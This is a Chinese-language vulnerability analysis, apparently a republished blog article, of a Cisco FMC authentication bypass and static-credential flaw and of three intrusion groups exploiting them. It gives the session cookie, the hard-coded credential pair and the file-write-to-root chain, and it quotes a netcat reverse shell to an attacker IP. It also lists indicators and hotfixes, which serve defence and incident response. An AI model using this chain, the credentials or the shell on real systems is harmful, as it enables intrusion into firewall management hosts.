管防火墙的系统,被三个团伙排队打穿:CiscoFMCCVE-2026-20079全链拆解

admin 2026-09-14 04:53:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CiscoFMC存在CVE-2026-20079认证绕过(CVSS10.0)与CVE-2026-20316静态凭据两漏洞,已被三团伙在野利用,攻击链由幽灵会话、静态凭据、任意文件写及包安装器串联实现root权限。建议立即安装热修、排查入侵指标并轮换全部凭据。 综合评分: 92 文章分类: 漏洞分析,应急响应,威胁情报,恶意软件,红队


管防火墙的系统,被三个团伙排队打穿:Cisco FMC CVE-2026-20079 全链拆解

原创

小金星 小金星

船山信安

2026年9月10日 21:27 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

先讲个黑色幽默

一个组织买的防火墙再多,也总得有个地方统一管策略、看日志、下发规则。Cisco 的 Secure Firewall Management Center(FMC)就是这个”防火墙的大脑”。

现在,这个大脑自己出了个 CVSS 10.0 满分的洞:CVE-2026-20079,未认证远程攻击者可以绕过认证,最终拿到操作系统 root 权限。配套的还有个 5.3 分的 CVE-2026-20316——系统里躺着一组写死的静态凭据,低权限账号,密码就在代码里,谁都能登。

9 月 9 号,Cisco Talos 确认:这俩洞不是理论威胁,在野利用正在进行中,而且不是一伙人在打——是三伙人。一个在种 web shell 偷凭据,一伙是俄罗斯背景的 APT(工具链与 Sandworm 高度重合),还有一个 Qilin 勒索团伙已经完成了从侦察到加密的全流程。

管理防火墙的系统,成了整个网络里最先被打穿的那个。这大概是对”安全设备”这个概念最辛辣的讽刺。

先把两个洞的底摸清

| | CVE-2026-20079 | CVE-2026-20316 | | — | — | — | | 类型 | 认证绕过 | 静态凭据 | | CVSS | 10.0(Critical) | 5.3(Cisco 自己抬级为 High) | | 效果 | 绕过认证,执行脚本拿到 root | 用内置低权限账号直接登录 | | 披露 | VulnCheck 发布了完整分析和 PoC | Horizon3 的 Jimi Sebree 报告,7 月 29 日披露当天进 CISA KEV |

时间线值得回味一下:7 月 29 号 Cisco 修了静态凭据那个洞,同一天 CISA 就把它塞进了 KEV——说明修之前就有人在打。到了 9 月 9 号,Talos 公开三个入侵集群的完整 TTP,并且确认 CVE-2026-20079 也刚被 CISA 收进 KEV。Cisco 的原话是”主动利用正在进行”,建议客户别等下周的硬化版本,现在就上热修

FMC 的管理口暴露在公网上的单位不在少数,而且 Cisco 特别提醒了一句:这洞跟设备配置无关,所有 FMC 版本都中招。

技术拆解:一个”半个会话”引发的血案

这部分基于 VulnCheck 的完整分析,是本次披露里技术含量最高的部分。

第一幕:开机遗留的幽灵会话

FMC 的 web 层是 CGI + Perl 的老架构。系统启动时,有个 startup 进程会在 sfsnort.sessions 这个会话数据库里创建一个 csm_processes 会话——注意,这是个残缺的会话:没有绑定用户身份,也没有设置 sf_action_id(FMC 的 CSRF 令牌,后续所有敏感接口的通行证)。

正常剧本是:管理员一登录,这个会话就被正常流程覆盖或者失效。但如果开机之后一直没人登录呢?这个幽灵会话就一直躺在数据库里。

攻击者要做的第一件事,是往请求里塞一个 cookie:

📄 代码

CGISESSID=csm_processes

服务器一查数据库:会话存在,有效。门缝就这样开了一条——但还过不了下一步的校验,因为这个会话没有 sf_action_id,而 pjb.cgisajaxintf.cgi 这些 CGI 端点的权限校验全都依赖它。

第二幕:用静态凭据给幽灵”转正”

这就是两个洞咬合的地方。sf_action_id 只在用户真正认证之后才会写进会话。攻击者手里正好有一组静态凭据——Cisco 后来确认这是给内置低权限 report 用户准备的,密码硬编码(VulnCheck 的分析里出现的是 report:snortrules 这组值)。

于是攻击者带着 csm_processes 会话 cookie,向 /login.cgi?logon=Continue 提交这组凭据。认证通过后,FMC 内部的 MakeSession 函数会把 report 用户的权限灌进这个已经存在的会话:数据库里会话记录被升级,sf_action_id 被填上,服务器返回 302 跳转和 Set-Cookie。

从这一刻起,攻击者持有一个带合法 CSRF 令牌的已认证会话。注意这个组合拳的精妙之处:单看 5.3 分的静态凭据,你只能以低权限用户登进去看看数据;单看 10.0 分的认证绕过,幽灵会话只是个空壳。串起来,才有接下来的故事——Cisco 自己也承认,20316 单独打分不高,但它能和其他 FMC 漏洞串联提权,所以才被抬到 High。

第三幕:任意文件写 + 包安装器 = root

有了 sf_action_id,攻击面豁然开朗。VulnCheck 点名了三个可用组件,其中两个正好拼成一条 RCE 链:

第一步,任意文件写。sajaxintf.cgi 上有个所有用户都可以调的 validateLicense 批量 AJAX 接口。这个函数干的事是把传入的数据写进 /var/tmp/license.tmp——而传入的数据基本不设防。请求体是 JSON 数组,想写换行符不能直接用 \n(过不了校验),但用 Unicode 转义 \u000a 就行。也就是说,攻击者可以用 JSON Unicode 转义把任意二进制内容写进这个文件。

第二步,骗过文件类型检查。license.tmp 之后会被当作升级包处理,而 Cisco 的 SF::Update::GetUpdateFileType 会看文件头前 1024 字节来判断类型。直接塞个普通 shell 脚本会被识别成 SCRIPT 类型,而 SCRIPT 类型走不到安装逻辑。办法是把 payload 包装成 Makeself 格式——Cisco 自己定义的自解压包格式,本质上也只是个 shell 脚本,只是头部有固定 magic 字符串。这个类型恰好是 upgradeReadinessCall 认可的”可安装”类型。

第三步,触发安装。pjb.cgi 有个权限标记为 all(所有用户可调)的函数 SF::UI::DataObjectLibrary::upgradeReadinessCall,传两个参数:license.tmp 的路径,加上一个随机 UUID(用来选中”本地安装”模式)。调用链一路往下走:

📄 代码

upgradeReadinessCall
  → SF::Update::readinessInstall
    → SF::Update::Install          (磁盘空间检查、签名校验……)
      → SF::System::Privileged::InstallUpdate
        → SF::System::Wrappers::RunCmd

最后那个 RunCmd 相当讽刺:它先检查调用方是不是来自 SF::System 命名空间——是的话,把命令参数前面加上 /usr/bin/sudo 再执行。攻击者的脚本就这么以 root 身份跑在了防火墙管理系统上。整套校验体系都在认真工作,只是每一层都恰好给攻击者留了一扇门,而且门和门之间的路是通的。

三伙人,三种打法

技术链条讲完,再看 Talos 披露的三个入侵集群——同一个入口,三种完全不同量级的收尾。

UAT-12197:教科书式凭据收割

直接利用 CVE-2026-20079 打进来,往 CSM Tomcat 的 webroot 里放了一个 JSP web shell(home.jsp)。这个 shell 的设计有点意思:它 Base64 解码一个名为 F6C1F0E7 的参数,把参数值当作要加载的 Java 类名——用类加载来执行逻辑,比直接 Runtime.exec 更隐蔽一截。

web shell 落地后,攻击者往同目录放了 cmd.jar——一个从命令行取参、用 /bin/sh -c 执行的命令执行器——然后借它查询 FMC 内部数据库,把用户认证数据和凭据整个拖走。目标很纯粹:拿凭据,横向移动。

UAT-11823:Sandworm 的味道

第二组的工具链和俄罗斯 APT Sandworm 高度重合,Talos 高置信度认为它同时利用了两个洞。它的手法更有意思:没有乱放文件,而是替换了 FMC 磁盘上的 license.tmp——用一个恶意 Makeself 包覆盖,再通过上面那条 package_info.pl 安装链以 root 执行,内容是标准的 netcat 反弹 shell:

📄 代码

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208.123.119.215 3090 >/tmp/f

站稳脚跟之后,这伙人收走了所有受管防火墙的配置文件,然后部署了 Cyclops Blink 的变种——这个 ELF 植入正是当年 Sandworm 那场大规模路由器入侵行动里的招牌武器。窃取防火墙配置意味着什么,搞网络的都懂:每条 NAT 规则、每个 VPN 隧道、每段 ACL,攻击者全看得清清楚楚。

UAT-11988:Qilin 勒索的完整案例

第三组是 Talos 高置信度认定的 Qilin 勒索附属团伙,走的全是”拿来主义”:先用静态凭据(CVE-2026-20316)登录,然后全程滥用 FMC 自带的合法工具——这是最防不胜防的 LOTL 打法。侦察阶段,他们用 package_info.pl 执行恶意 license.tmp,一次性收走了:

●主机名、IP、目录清单

Active Directory 服务账号凭据、MySQL 账号凭据

●域账号信息和计算机对象列表

●域控、ADFS、Exchange、文件服务器、数据库服务器的完整 IP 映射

所有数据先藏进 FMC 服务器上已有的普通文件里,再用 HTTP GET 悄悄带走。侦察完成后,架起 Python SOCKS5 代理和反向 SSH 隧道,把 LDAP(389)、LDAPS(636)、Kerberos(88)、SMB(445)、NETBIOS(135)、WinRM(5985) 这六个端口全部转发回自己的基础设施——等于把内网的认证面整体搬到了攻击者手上。然后是关杀软、锁目标、加密。从登录到勒索,一步没走弯路。

怎么查、怎么修

先自查。Cisco 给了一条一条命令就能做的排查,expert 模式下:

📄 bash

cat /var/log/messages | grep license

如果输出里出现这样一行——www 用户以 root 执行了 package_info.pl /var/tmp/license.tmp --lsm——按已被入侵处理,直接联系 Cisco TAC。其他检测信号还有:/login.cgi?logon=Continue 上的可疑 POST、升级会话后的 /ui/user/general 请求、sajaxintf.cgi 上的 validateLicense 调用、pjb.cgi 上的 upgradeReadinessCall/tmp 下多出来的 FIFO,以及 FMC 的意外出站连接。Snort 规则已经就位:20079 对应 SID 66075–66080,20316 对应 66883,恶意样本对应 66960/66961。

然后修。两个洞都有热修,各版本对应:

| FMC 版本 | 热修包 | | — | — | | 7.0 | Hotfix_GB-7.0.9.1-3 | | 7.2 | Hotfix_HL-7.2.11.1-4 | | 7.4 | Hotfix_HG-7.4.7.1-3 | | 7.6 | Hotfix_CY-7.6.5.1-2 | | 7.7 | Hotfix_AM-7.7.12.1-2 | | 10.0 | Hotfix_P-10.0.1.1-2 |

Cisco 的完整硬化版本要到 9 月 16 号那周才发,但官方明确说了:别等,现在就打热修

最后是 Cisco 给的善后建议,语气罕见地重:”由于主动利用正在进行,至少要轮换 FMC 设备上的全部用户凭据、密钥和证书“。想想 Qilin 那组人从 FMC 里捞走了什么,这句话一点不夸张。

最后说两句

这起事件最值得记住的,不是又一个 10.0。

是那条攻击链的构造方式:一个开机残留的残缺会话,一组写死在代码里的凭据,一个几乎不设防的 license 校验接口,一个所有用户都能调的包安装函数——每一个单拎出来都只是”设计不优雅”,没人会觉得它们是漏洞。直到有人把它们串成一串,每一环都恰好接上下一环,最后以 root 的身份在防火墙管理系统里落地。

还有那三个团伙。同一个洞,一伙人拿凭据,一伙人建持久化后门顺走全网防火墙配置,一伙人直接加密收钱。漏洞是同一个,想象力是自己的。

以及一个老生常谈但这次格外应景的结论:管理平面不是普通资产。FMC 管着多少台防火墙,它就值多少台防火墙加起来的价。把它锁进管理网段、只允许跳板访问,这个动作的成本远低于某天在日志里看到 package_info.pl /var/tmp/license.tmp 的成本。

防火墙管得住全网流量,管不住自己的大脑。


参考:Cisco Talos《Active exploitation of Cisco Secure Firewall Management Center vulnerabilities》(2026-09-09)、Cisco 安全公告 cisco-sa-fmc-static-cred-BET3Cjh、VulnCheck《CVE-2026-20079 – Cisco FMC Authentication Bypass RCE Analysis》、Help Net Security / TechNadu 相关报道。

说明:文中漏洞机理与利用链部分来自 VulnCheck 的公开分析,入侵案例与 IOC 来自 Cisco Talos 的官方披露。本文仅作技术分析与防御用途,相关 PoC 细节以原报告为准。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 小金星 小金星《管防火墙的系统,被三个团伙排队打穿:Cisco FMC CVE-2026-20079 全链拆解》

评论:0   参与:  0